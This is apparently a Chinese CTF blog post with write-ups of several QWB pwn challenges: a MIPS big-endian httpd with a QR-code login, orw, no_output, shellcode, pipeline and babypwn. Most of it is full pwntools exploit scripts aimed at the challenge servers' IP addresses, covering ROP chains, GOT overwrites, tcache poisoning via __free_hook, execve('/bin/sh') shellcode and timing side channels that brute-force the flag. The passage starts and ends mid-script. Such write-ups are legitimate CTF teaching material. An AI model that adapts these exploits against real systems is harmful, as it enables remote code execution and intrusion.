    #p.sendline(f"-{(curr_mem_chunk_base-heap_base-0xca8)//4-1}".encode())

    libc_gets = libc_base + libc.symbols[b"gets"]
    p.sendline(f"{libc_gets & 0xffffffff}".encode())
    p.sendline(f"-{(curr_mem_chunk_base-heap_base-0xca8-0x410)//4}".encode())
    p.sendline(f"{libc_gets >> 32}".encode())
    p.sendline(f"-{(curr_mem_chunk_base-heap_base-0xca8-0x410)//4-1}".encode())    

    libc_mprotect = libc_base + libc.symbols[b"mprotect"]
    libc_open = libc_base + libc.symbols[b"open"]
    libc_read = libc_base + libc.symbols[b"read"]
    libc_write = libc_base + libc.symbols[b"write"]
    libc_syscall = libc_base + libc.symbols[b"syscall"]
    pop_rdi_ret = libc_base + 0x10f75b
    pop_rsi_ret = libc_base + 0x2b46b # pop rsi ; pop rbp ; ret
    pop_rdx_ret = libc_base + 0xb502c # pop rdx ; xor eax, eax ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret
    pop_rax_ret = libc_base + 0xdd237
    syscall = libc_base + 0x288b5
    
    payload = b"a"*0xc8 + p64(canary_leak)
    payload = payload.ljust(0xe8, b"a") + p64(canary_leak)
    payload = payload.ljust(0x128, b"a")
    payload += p64(pop_rdi_ret) + p64(elf_base)
    payload += p64(pop_rsi_ret) + p64(0x3000) + p64(0xdeadbeef)
    payload += p64(pop_rdx_ret) + p64(7) + p64(0xdeadbeef)*4
    payload += p64(libc_mprotect)
    payload += p64(pop_rdi_ret) + p64(0)
    payload += p64(pop_rsi_ret) + p64(elf_base) + p64(0xdeadbeef)
    payload += p64(pop_rdx_ret) + p64(0x100) + p64(0xdeadbeef)*4
    payload += p64(libc_read)
    payload += p64(pop_rdi_ret) + p64(2)
    payload += p64(pop_rsi_ret) + p64(elf_base) + p64(0xdeadbeef)
    payload += p64(pop_rdx_ret) + p64(0) + p64(0xdeadbeef)*4
    payload += p64(libc_syscall)
    payload += p64(pop_rdi_ret) + p64(3)
    payload += p64(pop_rsi_ret) + p64(elf_base) + p64(0xdeadbeef)
    payload += p64(pop_rdx_ret) + p64(0x100) + p64(0xdeadbeef)*4
    payload += p64(libc_read)
    payload += p64(pop_rdi_ret) + p64(1)
    payload += p64(pop_rsi_ret) + p64(elf_base) + p64(0xdeadbeef)
    payload += p64(pop_rdx_ret) + p64(0x100) + p64(0xdeadbeef)*4
    payload += p64(libc_write)
    
    payload += p64(0xdeadbeef)
    pause()
    p.sendline(payload)

    p.send(b"flag\x00")
    p.recvuntil(b"flag{")
    flag = p.recvuntil(b"}").decode()
    log.info(f"flag: flag{{{flag}")

    p.interactive()
    
if __name__ == "__main__":
    exp()
偷偷吐槽一下垃圾到令人反胃的国内“安全”竞赛环境,距离上次 DEF CON 结束挺久了,好不容易抽出时间打一场比赛还得被恶心

Experience

这是一个32bit MIPS大端序的httpd。比赛过程挺曲折的,一开始本地调试用的qemu-user没管随机化问题,于是通过在uClibc中手动审计找了一个类似one_gadget的东西拿了shell。但是后来试了试发现远程起在qemu-system,于是就索性试试1/4096看能不能爆到——很遗憾没有hhh。

知道远程有随机化后我尝试过几个思路,但是都是差最后一点没构造成功

Reverse

程序主要逻辑其实就是:解析请求->handle URL->不可描述的一堆处理

初步分析后,发现其中被能handle的请求有三种:

  1. GET请求/index.html

    • 通过一个函数返回./index.html文件中的内容(这是我其中一个利用思路来源)
    if (iVar3 != 0) {
      if ((((req_filename._0_4_ != 0x2f696e64) || (req_filename._4_4_ != 0x65782e68)) ||
          (req_filename._8_4_ != 0x746d6c00)) && (req_filename._0_2_ != 0x2f00)) {
        while ((vuln_ptr != (char *)0x0 && (line_buf._0_2_ != 0xa00))) {
          vuln_ptr = (char *)read_line(line_buf,0x400);
        }
        http_resp_404_notfound();
        return;
      }
      do_read_file("./index.html");
      return;
  1. POST请求/login.html

    • 必须带有两个请求头:Content-LengthContent-WWidth
    • 必须要满足:Content-Length == Content-WWidth*Content-WWidth*2
    • 请求体大小为Content-Length,且由0,1串构成,其中可用空格和回车分割
  2. GET请求/encode.html?info=

    • 前提条件是已经完成login,login的状态保存在一个全局变量

    • 如果已经login则会把info参数中的信息进行encode

"Login" function analysis

一开始的难点是分析程序如何解析login请求体的内容,主要实现在0x12500x5160中。通过查看0x5160所引用的一些常量中发现了两个东西:

  1. base45编码用的表:

0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ $%*+-./:

  1. 一个奇怪的7x7矩阵:
1 1 1 1 1 1 1
1 0 0 0 0 0 1
1 0 1 1 1 0 1
1 0 1 1 1 0 1
1 0 1 1 1 0 1
1 0 0 0 0 0 1
1 1 1 1 1 1 1

从读取请求体的逻辑上看基本可以确定是读取的一个NxN矩阵,N值为Content-WWidth。在后续过程中程序用上述7x7矩阵和输入矩阵多个位置进行了比对。在查阅base45实现的过程中发现base45常常被用在某些二维码识别模块,遂恍然大悟:程序在做的其实是解析0,1串表示的二维码。上述比较过程其实就是确定二维码三个角上的定位点。

我们只要将passwd用qrcode库编码后POST到/login.html即可实现登录。

password前四位是启动时随机生成的,后四位是一个固定的程序地址。如果能能拿到passwd即同时完成了程序地址leak。

观察二维码解码后处理的逻辑:

      if (((content_length - 1U < 0xb40) && (content_wwidth - 1U < 0x26)) &&
         (content_wwidth * content_wwidth * 2 == content_length)) {
        set_glo_mem(0,content_wwidth);
        passwd._0_4_ = 0;
        passwd._4_4_ = 0;
        passwd._8_4_ = 0;
        passwd._12_4_ = 0;
        passwd._16_4_ = 0;
        passwd._20_4_ = 0;
        passwd._24_4_ = 0;
        passwd._28_4_ = 0;
        passwd._32_4_ = 0;
        strncpy(passwd,glo_mem_2,0x20);
        uVar4 = strcmp(glo_rand_byte_array,passwd);
        passwd._32_4_ = passwd._32_4_ & 0xffffff | (uVar4 & 0xff) << 0x18;
        if ((uVar4 & 0xff) != 0) {
          memset(input_data,0,0x40);
          sprintf(input_data,"Wrong password: %s",passwd);
          http_resp_500_internal_error(input_data);
          return;
        }
        glo_is_login = 1;
        http_resp_login_success();
        return;

strcmp的过程中第一个不相等的字符与正确字符的差值会被保存到uVar4,经过一个运算后存放在passwd[32]的位置上,而passwd最大长度为0x20,这样会导致这个值被leak出来,于是可以通过侧信道爆破的方式计算出正确的passwd值。

"Encode" function analysis

Encode逻辑同样是非常复杂,但是在实际测试的时候我找到了一个可以刚好覆盖到返回地址的栈溢出。但是返回地址的值不能直接由输入值控制,会经过一些运算处理,当然时间原因比赛过程是不可能一点一点逆完的。好在这个运算可以逆运算,只是不能任意地址跳转了,只能任意跳转到末尾为0(16进制最后一位)的地址。

溢出请求的构造结构大致如下:

GET /encode.html?info=1&info=xxxxxxxxxx \r\n

同时通过动态调试发现,在跳转前,栈上残留了上一次http请求中头部字段残余的值。于是想到可以把ROP参数利用请求头构造到栈上,然后跳转到合适的gadget上进行控制流劫持。

Exploit

Several ways

关于利用,列出当时的几个失败思路和成功的思路

one_gadget ×

注意:此one_gadget非真正的one_gadget,只是思路上类似

审计uClibc中有调用到/bin/sh字符串的所有位置,发现有一个地址末位为0的片段,正常执行下去不会报错,并且发生类似execl("/bin/sh", ["/bin/sh", "-c", "xxxx"] ,env)的调用,其中xxx取自sp+偏移处保存的指针...这不正好可以控制参数并getshell

000489e0 8f 86 80 54     lw         a2,-0x7fac(gp)=>PTR_000b0444                     = 000a0000
000489e4 8f 85 80 54     lw         __modes,-0x7fac(gp)=>PTR_000b0444                = 000a0000
000489e8 8f 84 80 54     lw         __command,-0x7fac(gp)=>PTR_000b0444              = 000a0000
000489ec 8f 99 84 58     lw         t9,-0x7ba8(gp)=>->execl                          = 00069290
000489f0 24 c6 96 28     addiu      a2=>DAT_00099628,a2,-0x69d8                      = 2Dh    -
000489f4 8f a7 00 70     lw         a3,local_res0(sp)
000489f8 24 a5 97 38     addiu      __modes=>DAT_00099738,__modes,-0x68c8            = 73h    s
000489fc 24 84 96 20     addiu      __command=>s_/bin/sh_00099620,__command,-0x69e0  = "/bin/sh"
00048a00 03 20 f8 09     jalr       t9=>execl                                        int execl(char * __path, char * ...

虽然如开头所说这个思路由于远程随机化破产了,但是我认为在实际利用中依然是一个思考方向

do_read_file ×

在访问/index.html时会调用一个读文件函数do_read_file("./index.html"),这个函数只需要用两段gadget,分别从栈上读参数,把参数加载到$a0上即可完成任意文件读。但是本题在所有已知地址中都无法构造出./flag来,所以利用失败。

leak ×

这个思路尝试调用程序中返回http请求错误信息或者返回解码结果的函数(同样只需要控制$a0),来泄露got表保存的地址。然而泄露容易,当想控制泄露完后执行流时发现找不到合适的gadget(也许是我没找到而已)。简而言之,这样的gadget大致需要满足:能够jr某个可控寄存器跳到被控函数且跳转前将$ra设为可控值。这样在函数内部将$ra保存到栈,并取出$ra值返回的时候,跳到的便是可控地址。

rewrite got & shellcode

之前查到好多例子都是以调用shellcode结尾,但是在checksec的时候发现开了NX保护就没想这方面。后来从科恩的师傅那了解到由于缺乏硬件支持,mips是没有NX保护的(这里还有点疑惑),可以劫持got表跳转到shellcode。

那么问题来了,如何找到能写完got表之后就能调用被修改表项的指针,而且不报错的位置?如果用rop分别进行修改和调用那么又会面临leak思路中遇到的问题。

他的思路是跳到了0x1170的位置,这里是一个从已打开的文件描述符(fd)读取(用的read)内容并写到输出流上的函数:

void return_page_content(int fd)

{
  size_t rn;
  undefined file_buf [1028];

  while( true ) {
    rn = read(fd,file_buf,0x400);
    if (rn != 0x400) break;
    write(1,file_buf,0x400);
  }
  write(1,file_buf,rn);
  return;
}

观察反汇编:

        00011170 8f bc 00 10     lw         gp,local_418(sp)
                             LAB_00011174                                    XREF[1]:     00011164(j)  
        00011174 8f 99 81 58     lw         t9,-0x7ea8(gp)=>->read                           = 00018940
        00011178 02 00 28 25     or         a1,s0,zero
        0001117c 02 20 20 25     or         fd,s1,zero
        00011180 03 20 f8 09     jalr       t9=>read                                         ssize_t read(int __fd, void * __
        00011184 24 06 04 00     _li        a2,0x400
        00011188 8f bc 00 10     lw         gp,local_418(sp)
        0001118c 24 03 04 00     li         v1,0x400
        00011190 24 06 04 00     li         a2,0x400
        00011194 02 00 28 25     or         a1,s0,zero
        00011198 24 04 00 01     li         fd,0x1
        0001119c 10 43 ff f3     beq        rn,v1,LAB_0001116c
        000111a0 8f 99 81 6c     _lw        t9,-0x7e94(gp)=>->write                          = 00018920
        000111a4 03 20 f8 09     jalr       t9=>write                                        ssize_t write(int __fd, void * _

可以发现,其中几个关键参数都可以控制:

  1. gp寄存器从栈上取得,可以控制,这关系到如何取出read函数的地址。由于之前已经leak了程序地址,所以这一步可以通过计算得到正确的gp偏移

    • gp_val = 0x80007870 + (elf_base - 0x7ffe6000)
  2. read的第一个参数由$s0控制,第二个参数由$s1控制,大部分gadget可控(此处依然最好选取0结尾处的gadget)

    • 控制read写write的got表为shellcode地址,而shellcode可以直接从write_got+4的位置开始覆盖,也就是:[wrtie_got] -> wrtie_got+4

gadget选用如下:

    .text:000083F0                 sll     $v0, 1
    .text:000083F4                 lw      $v1, 0x24($sp)
    .text:000083F8                 lw      $ra, 0x4C($sp)
    .text:000083FC                 lw      $fp, 0x48($sp)
    .text:00008400                 lw      $s7, 0x44($sp)
    .text:00008404                 lw      $s6, 0x40($sp)
    .text:00008408                 lw      $s5, 0x3C($sp)
    .text:0000840C                 lw      $s4, 0x38($sp)
    .text:00008410                 addu    $v0, $v1, $v0
    .text:00008414                 lw      $s3, 0x34($sp)
    .text:00008418                 lw      $s2, 0x30($sp)
    .text:0000841C                 lw      $s1, 0x2C($sp)
    .text:00008420                 lw      $s0, 0x28($sp)
    .text:00008424                 jr      $ra

Write shellcode

最后详解一下mips下shellcode编写技巧,因为虽然大致思路与x86类似,但是用些mips way可以让shellcode更精炼

下面是我用的shellcode:

    xor $a0, $a0
    xor $a1, $a1
    xor $a2, $a2
    xor $v0, $v0
    bal exec
    nop
    .string "/bin/sh"
exec:
    move $a0, $ra
    li $v0, 0xFAB
    syscall
    nop

可以看到参数传递不是通过

常数加载到寄存器

寄存器存栈

,然后

传栈指针

的笨方式,而是先在代码中嵌入了一段string,在string前bal exec,这样string所在地址就会作为返回地址保存在$ra寄存器中,下面只需要把$ra给到$a0就完成了参数控制。注意,由于mips架构中指令预取特性的存在,bal后面需要用一条nop指令来填充(这部分原因在大二计组课程会提到,不赘述)

另一个要注意的点是调用号为0xFAB,也就是4000+11,MIPS架构的Linux系统有如下宏:

linux-xxx/arch/mips/include/uapi/syscall.h可以看到
#ifndef __NR_syscall /* Only defined if _MIPS_SIM == _MIPS_SIM_ABI32 */
#define __NR_syscall 4000
#endif

而在linux-xxx/arch/mips/kernel/syscalls/syscall_o32.tbl可以看到execve调用号为11

最后的系统调用号是__NR_syscall+11构成,也就是0xFAB

Full exp

from pwn import *
import sys
import qrcode

if len(sys.argv) == 2 and sys.argv[1] == "debug":
    p = process(["qemu-mips", "-g", "1234", "--singlestep", "-L", "./", "./qwbhttpd"])
elif len(sys.argv) == 2 and sys.argv[1] == "remote":
    p = remote("172.20.5.22", 11258)
    #p = remote("127.0.0.1", 2333)
else:
    p = process(["qemu-mips", "-L", "./", "./qwbhttpd"])

context.log_level = "debug"
context.arch = "mips"
context.endian = "big"

def get_qr_matrix(data:bytes):
    qr = qrcode.QRCode(
        version=1,
        error_correction=qrcode.constants.ERROR_CORRECT_L,
        box_size=1,
        border=0,
    )
    qr.add_data(data)
    qr.make(fit=True)
    qr.print_ascii()
    #print(dir(qr))
    raw_matrix = qr.get_matrix()

    return raw_matrix

def matrix_serialize(qr_matrix):
    res = b""
    for i in qr_matrix:
        for j in i:
            num = b"1" if j==True else b"0"
            res += num + b" "

    return res

def burp_pass(pad):
    req = b"POST /login.html HTTP/1.1\r\n"
    matrix = get_qr_matrix(pad.ljust(0x20, b"\x01"))
    wwidth = len(matrix)
    data = matrix_serialize(matrix)
    req += b"Content-Length: " + str(wwidth*wwidth*2).encode() + b"\r\n"
    req += b"Content-WWidth: " + str(wwidth).encode() + b"\r\n"
    req += b"\r\n"
    req += data
    print("Data length:", len(data))
    p.send(req)

def login(passwd):
    req = b"POST /login.html HTTP/1.1\r\n"
    matrix = get_qr_matrix(passwd)
    wwidth = len(matrix)
    data = matrix_serialize(matrix)
    req += b"Content-Length: " + str(wwidth*wwidth*2).encode() + b"\r\n"
    req += b"Content-WWidth: " + str(wwidth).encode() + b"\r\n"
    req += b"\r\n"
    req += data
    print("Data length:", len(data))
    p.send(req)

# hex(0 & 0xffffff | (-(ord("A")-0x51) & 0xff) << 0x18 )

def encode(data=b""):
    req = b"GET /encode.html?info="+ data + b" HTTP/1.1\r\n"
    req += b"\r\n"

    p.send(req)

def vuln(data=b""):
    req = b"GET /encode.html?info=1&info=" + data + b" HTTP/1.1\r\n"
    req += b"\r\n"

    p.send(req) 

def calc_addr(raw_addr):
    def get_idx_num(num:int, idx:int):
        return (num >> ((7-idx)*4)) & 0xf
    num = 0
    num += ((raw_addr&0x0ffffff0)<<4) + get_idx_num(raw_addr, 0)
    print(hex(num))
    return num

def exp():
    # burp_password
    passwd = b""
    for i in range(8):
        burp_pass(passwd)
        p.recvuntil(b"Wrong password: ")
        p.recv(32)
        leak_byte = p.recv(1)
        passwd += bytes([0x1+u8(leak_byte)])
        print("Curr passwd:", passwd.hex(" "))

    # login
    login(passwd)
    # calc base
    leak_addr = u32(passwd[4:])
    elf_base = leak_addr - 0x19d60
    libc_base = elf_base - 0x8d3000
    print("leak_addr:", hex(leak_addr))
    print("libc_base:", hex(libc_base))
    print("elf_base:", hex(elf_base))

    # local
    # base: 0x7ffe6000
    # libc: 0x7f713000
    '''
    .text:000083F0                 sll     $v0, 1
    .text:000083F4                 lw      $v1, 0x24($sp)
    .text:000083F8                 lw      $ra, 0x4C($sp)
    .text:000083FC                 lw      $fp, 0x48($sp)
    .text:00008400                 lw      $s7, 0x44($sp)
    .text:00008404                 lw      $s6, 0x40($sp)
    .text:00008408                 lw      $s5, 0x3C($sp)
    .text:0000840C                 lw      $s4, 0x38($sp)
    .text:00008410                 addu    $v0, $v1, $v0
    .text:00008414                 lw      $s3, 0x34($sp)
    .text:00008418                 lw      $s2, 0x30($sp)
    .text:0000841C                 lw      $s1, 0x2C($sp)
    .text:00008420                 lw      $s0, 0x28($sp)
    .text:00008424                 jr      $ra
    '''
    gadget1 = elf_base+0x83F0

    write_got = elf_base+0x199DC
    target = elf_base+0x1170 # read write
    gp_val = 0x80007870 + (elf_base - 0x7ffe6000)

    # build ROP
    req = b"POST /login.html HTTP/1.1\r\n"
    matrix = get_qr_matrix(passwd)
    wwidth = len(matrix)
    data = matrix_serialize(matrix)
    req += b"Content-Length: " + str(wwidth*wwidth*2).encode() + b"\r\n"
    req += b"Content-WWidth: " + str(wwidth).encode() + b"\r\n"
    req += b"AAAAAAAA: AAAAAA"
    f = {
        0x28-0x28: p32(write_got) + p32(0),# s0:write_got s1:0
        0x4c-0x28: p32(target), # ra -> target
        0x28+0x10:(gp_val), # gp
    }
    rop = fit(f)
    req += rop + b"\r\n"
    req += b"\r\n"
    req += data
    p.send(req)

    print("gadget1:", hex(gadget1))
    vuln(p32(calc_addr(gadget1))*0x30)
    shellcode = asm('''
            xor $a0, $a0
            xor $a1, $a1
            xor $a2, $a2
            xor $v0, $v0
            bal exec
            nop
            .string "/bin/sh"
        exec:
            move $a0, $ra
            li $v0, 0xFAB
            syscall
            nop
    ''')
    p.send(p32(write_got+4) + shellcode)

    p.interactive()


if __name__ == "__main__":
    exp()

Summary

MIPS可能在Iot安全研究中经常见到,很多东西不如x86那么直观。打好基础,通过迁移运用的方式发现利用思路很重要。对了,对uClibc利用方式感兴趣的可以看看我之前发的有关uClibc下malloc机制利用思路的文章。

线上赛撞了四六级麻了hhh

ban完一堆队伍之后喜提线下hhh

orw

堆有rwx权限,下标溢出写got函数为堆地址,在两个堆块上拼接shellcode调用read读入shellcode进行orw拿flag

from pwn import *

#p = process("./pwn", env={"LD_PRELOAD":"./libc-2.23.so ./libseccomp.so.0"})
p = remote("39.105.131.68", 12354)
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("./pwn")
libc = ELF("./libc-2.23.so")

def add(idx:int, size:int, content):
    p.sendlineafter(b"choice >>\n", b"1")
    p.sendlineafter(b"index:\n", str(idx).encode())
    p.sendlineafter(b"size:\n", str(size).encode())
    p.sendafter(b"content:\n", content)

def delete(idx:int):
    p.sendlineafter(b"choice >>\n", b"4")
    p.sendlineafter(b"index:\n", str(idx).encode())

def exp():
    #gdb.attach(p, "b *0x0000555555554000+0xFE7\nc\n")

    offset = (0x0000555555554000+0x2020E0 - 0x555555756018)//8
    print("offset:", hex(offset))
    shellcode_1 = '''
    mov rsi, rdi;
    xor rax, rax;
    jmp $+0x1a;
    '''
    shellcode_1 = asm(shellcode_1)
    shellcode_2 = '''
    xor rdi, rdi;
    mov edx, ecx;
    syscall;
    '''
    shellcode_2 = asm(shellcode_2) 
    print("len(shellcode_1):", hex(len(shellcode_1)))
    print(shellcode_1)
    print("len(shellcode_2):", hex(len(shellcode_2)))
    print(shellcode_2)
    add(-offset, 8, shellcode_1)
    add(0, 8, shellcode_2.ljust(8, b"\x90"))
    delete(0)

    orw = '''
    push 0;
    push 0x67616c66;
    mov rdi, rsp;
    mov rsi, 0;
    mov rax, 2;
    syscall;
    mov rdi, rax;
    mov rsi, rsp;
    mov rdx, 0xff;
    mov rax, 0;
    syscall;
    mov rdi, 0;
    mov rsi, rsp;
    mov rdx, 0xff;
    mov rax, 1;
    syscall;
    '''

    p.send(b"\x90"*0x10+asm(orw))

    #gdb.attach(p)
    p.interactive()

if __name__ == "__main__":
    exp()

no_output

这是个非预期解法,通过MIN_INT/-1触发异常handler实现栈溢出,构造ROP链借助check函数来侧信道爆破flag

from pwn import *
import time

elf = ELF("./test")
#context.log_level = "debug"
context.arch = "i386"

elf_open = elf.plt[b"open"]
elf_read = elf.plt[b"read"]
bss_secret = 0x804C034
flag_name = 0x804A0D3
bss_name = 0x804C060

table = b"abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890{}-_@$&*!?."

final_flag = b""

def exp(guess, c_idx):
    global final_flag
    global p
    #p = process("./test")
    p = remote("39.105.138.97", 1234)

    # tell me some thing
    p.send(b"a"*0x30)
    # Tell me your name:\n
    p.send((b"\x00"*8 + b"f" + b"\x00").ljust(0x20, b"b"))
    # now give you the flag\n
    # xxxx
    # give me the soul:
    p.sendline(b"-2147483648")
    # give me the egg:
    p.sendline(b"-1")

    # handler stkof
    #gdb.attach(p,"b *0x8049385\nc\n")

    offset = 0x48 # to ebp
    pop_edi_ebp_ret = 0x08049582
    pop_esi_edi_ebp_ret = 0x08049581
    pop_ebx_esi_edi_ebp_ret = 0x08049580
    payload1 = b"a"*offset + p32(0xdeadbeef)
    payload1 += p32(elf_read) + p32(pop_esi_edi_ebp_ret) + p32(0) + p32(bss_name+0x20) + p32(5) # read(0, input_byte, 0x2) 
    payload1 += p32(elf_open) + p32(pop_edi_ebp_ret) + p32(bss_name+0x20) + p32(0)  # open(flag_name, 0)
    payload1 += p32(elf_read) + p32(pop_esi_edi_ebp_ret) + p32(4) + p32(bss_secret) + p32(0xff) # read(fd, secret, 0xff)
    payload1 += p32(elf_read) + p32(pop_esi_edi_ebp_ret) + p32(0) + p32(bss_name) + p32(2) # read(0, input_byte, 0x2) 
    payload1 += p32(0x80494d6) + p32(bss_secret+c_idx) + p32(bss_name) # control check_flag()
    p.send(payload1.ljust(0x100, b"\x00"))
    #time.sleep(0.5)
    p.send(b"flag\x00")
    p.send(guess + b"\x00")

    try:
        p.recv(timeout=1)
        final_flag += guess
        print("Curr flag:", final_flag)
        #pause()
        p.close()
        return True
    except:
        #print("Incorrect:", guess)
        print("Curr flag:", final_flag)
        p.close()
        return False


if __name__ == "__main__":
    for i in range(20, 40):
        print("Round: ", i)
        for c in table:
            if exp(bytes([c]), i):
                break
    print("Curr flag:", final_flag)

#qwb{n0_1nput_1s_great!!!}

shellcode

模式切换shellcode,字符范围限制: (0x1f, 0x7f)

用点小技巧,先alpha_shellcode自覆盖解除字符限制,然后mmap两个低地址段分别给后续shellcode和栈(防止切换到x86后出现段错误)

orw的最后一步w用alarm实现,通过多线程时间侧信道爆flag

from pwn import *
import sys
import time

import threading

def exp(flag_idx:int):    
    #p = process("./shellcode")
    p = remote("39.105.137.118", 50050)
    #context.log_level = "debug"
    context.arch = "amd64"

    # build read
    alpha_read = b"Vh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M15103e0y4y8m2M114F1n0i0b2E3c4o2A7n010F"
    payload = alpha_read
    p.send(payload)

    # read mmap shellcode
    # mmap new shellcode area
    time.sleep(0.2)
    payload = b"\x90"*0x50
    shellcode_mmap_raw = '''
    mov rdi, 0x100000;
    mov rsi, 0x20000;
    mov rdx, 7;
    mov r10d, 0x22;
    mov r8d, 0xffffffff;
    mov r9d, 0;
    mov rax, 9;
    syscall;
    mov rdi, 0x200000;
    mov rsi, 0x20000;
    mov rdx, 7;
    mov r10d, 0x22;
    mov r8d, 0xffffffff;
    mov r9d, 0;
    mov rax, 9;
    syscall;
    mov rdi, 0
    mov rsi, 0x100000
    mov rdx, 0x1000
    mov rax, 0;
    syscall;
    call rsi;
    '''
    payload += asm(shellcode_mmap_raw)
    p.send(payload)

    #gdb.attach(p, "b *0x100001\nc\n")

    # read new shellcode
    time.sleep(0.5)
    shellcode_to_x86 = '''
    push 0x23;
    push 0x100020;
    retfq;
    '''
    shellcode_open = '''
    mov esp, 0x210000;
    push 0;
    push 0x67616c66;
    mov ebx, esp;
    mov rcx, 0;
    mov eax, 5;
    int 0x80;
    '''
    shellcode_to_x64 = '''
    push 0x33;
    push 0x100050;
    retf;
    '''
    shellcode_read = '''
    mov rdi, rax;
    mov rsi, 0x100000;
    mov rdx, 0x40;
    mov rax, 0;
    syscall;
    nop;
    '''
    char_addr = 0x100000+flag_idx
    shellcode_alarm = '''
    xor rax, rax;
    mov al, byte ptr [{}];
    //mov al, 0x3;
    mov rdi, rax;
    mov rax, 37;
    syscall;
    HERE:
        jmp HERE
    '''
    payload = asm(shellcode_to_x86)
    payload = payload.ljust(0x20, b"\x90")
    payload += asm(shellcode_open)
    payload += asm(shellcode_to_x64)
    payload = payload.ljust(0x50, b"\x90")
    payload += asm(shellcode_read)
    payload += asm(shellcode_alarm.format(hex(char_addr)))
    p.send(payload)

    print("WAITING IDX: ", flag_idx)
    start = time.perf_counter()
    try:
        p.recv()
    except:
        print("ALARM!")
    end = time.perf_counter()
    pass_time = int(end-start)
    flag[flag_idx] = pass_time
    print(flag_idx, "May be char:", bytes([pass_time]))
    p.close()

if __name__ == "__main__":
    pool = []
    flag = [0]*0x26
    for i in range(0, 0x26):
        t = threading.Thread(target=exp, args=(i,))
        pool.append(t)
        t.setDaemon(True)
        sleep(1)
        t.start()
    for t in pool:
        t.join()
    print("FLAG:", bytes(flag)) 

#flag{cdc31bf52a72521c93b690ad1978856d}

pipeline

隐蔽的堆溢出,通过设置append size为0x800000f0达到堆溢出的目的

from pwn import *

#p = process("./pipeline", env = {"LD_PRELOAD":"./libc-2.31.so"})
p = remote("59.110.173.239", 2399)
elf = ELF("./pipeline")
libc = ELF("./libc-2.31.so")
context.log_level = "debug"
context.arch = "amd64"

def add():
    p.sendlineafter(b">> ", b"1")

def edit(idx:int, size:int, offset:int):
    p.sendlineafter(b">> ", b"2")
    p.sendlineafter(b"index: ", str(idx).encode())
    p.sendlineafter(b"offset: ", str(offset).encode())
    p.sendlineafter(b"size: ", str(size).encode())

def delete(idx:int):
    p.sendlineafter(b">> ", b"3")
    p.sendlineafter(b"index: ", str(idx).encode())

def append(idx:int, size:int, data):
    p.sendlineafter(b">> ", b"4")
    p.sendlineafter(b"index: ", str(idx).encode())
    p.sendlineafter(b"size: ", str(size).encode())
    p.sendafter(b"data: ", data)

def show(idx:int):
    p.sendlineafter(b">> ", b"5")
    p.sendlineafter(b"index: ", str(idx).encode())

# 0x0000555555554000
# header: 0x0000555555554000+0x4058

def exp():
    #gdb.attach(p, "b *0x0000555555554000+0x18af\nc\n")

    # leak libc
    add() #0
    edit(0, 0x420, 0)
    add() #1 split
    edit(0, 0, 0)
    edit(0, 0x420, 0)
    show(0)
    p.recvuntil(b"data: ")
    libc_leak = u64(p.recv(6).ljust(8, b"\x00"))
    libc_base = libc_leak - 0x70 - libc.symbols[b"__malloc_hook"]
    system = libc_base + libc.symbols[b"system"]
    free_hook = libc_base + libc.symbols[b"__free_hook"]
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("system:", hex(system))
    print("free_hook:", hex(free_hook))

    # attack tcache
    ## get
    add() #2
    edit(2, 0x18, 0x17)
    add() #3
    edit(3, 0x20, 0)
    add() #4
    edit(4, 0x20, 0)
    add() #5
    edit(5, 0x20, 0)
    ## free
    edit(5, 0, 0)
    edit(4, 0, 0)
    edit(3, 0, 0)

    payload = b"a"+p64(0x21)
    payload += p64(free_hook) + p32(0) + p32(0x8) + b"\n"
    append(2, -2147483408, payload)

    append(3, 0x8, p64(system))
    print("free_hook:", hex(free_hook))

    edit(1, 0x8, 0)
    append(1, 0x8, b"/bin/sh\n")
    edit(1, 0, 0)

    #gdb.attach(p)
    p.interactive()

if __name__ == "__main__":
    exp()

babypwn

题出得有点莫名其妙,题目从堆块头遍历扫描\x11字符替换成\x00,遇到第一个\x00停止,造成了很明显的off-by-null,因此可以unlink构造overlap攻击tcache。然后往__free_hooksetcontext+53,借助setcontext+53gadget调用mprotect给堆rwx后执行orw shellcode

from pwn import *

#p = process("./babypwn", env={"LD_PRELOAD":"./libc.so.6 libseccomp.so.2"})
p = remote("39.105.130.158", 8888)
libc = ELF("./libc.so.6")
context.arch = "amd64"
context.log_level = "debug"

def unshiftleft(n , shift , mask = 0xffffffff):
    res = n
    temp = len(bin(n)[2:]) // shift + 1
    for _ in range(temp):
        res = n ^ ((res << shift) & mask)
    return res

def unshiftright(n , shift , mask = 0xffffffff):
    res = n
    temp = len(bin(n)[2:]) // shift + 1
    for _ in range(temp):
        res = n ^ ((res >> shift) & mask)
    return res

def dec(c):
    for i in range(2):
        c = unshiftleft(c , 13)
        c = unshiftright(c ,17)
        c = unshiftleft(c ,5)
    return c

def add(size:int):
    p.sendlineafter(b">>> \n", b"1")
    p.sendlineafter(b"size:\n", str(size).encode())

def delete(idx:int):
    p.sendlineafter(b">>> \n", b"2")
    p.sendlineafter(b"index:\n", str(idx).encode())

def edit(idx:int, content):
    p.sendlineafter(b">>> \n", b"3")
    p.sendlineafter(b"index:\n", str(idx).encode())
    p.sendafter(b"content:\n", content)

def show(idx:int):
    p.sendlineafter(b">>> \n", b"4")
    p.sendlineafter(b"index:\n", str(idx).encode())

def exp():
    # leak libc
    for i in range(8):
        add(0x80) # 0-7
    add(0x20) # 8 split
    for i in range(9,9+7):
        add(0xf8) # 9-16
    for i in range(8):
        delete(i) # del 0-7
    add(0x20) # 0
    show(0)
    libc_leak_low = int(p.recvuntil(b"\n", drop=True).decode(), 16)
    libc_leak_low = dec(libc_leak_low) & 0xffffffff
    libc_leak_high = int(p.recvuntil(b"\n", drop=True).decode(), 16)
    libc_leak_high = dec(libc_leak_high) & 0xffffffff
    libc_leak = ((libc_leak_high<<32) + libc_leak_low) & 0xffffffffffff
    libc_base = libc_leak - 0x3ebd20
    free_hook = libc_base + libc.symbols[b"__free_hook"]
    setcontext = libc_base + libc.symbols[b"setcontext"]
    mprotect = libc_base + libc.symbols[b"mprotect"]
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("free_hook:", hex(free_hook))
    print("setcontext:", hex(setcontext))

    # leak heap
    add(0x80) # 1
    show(1)
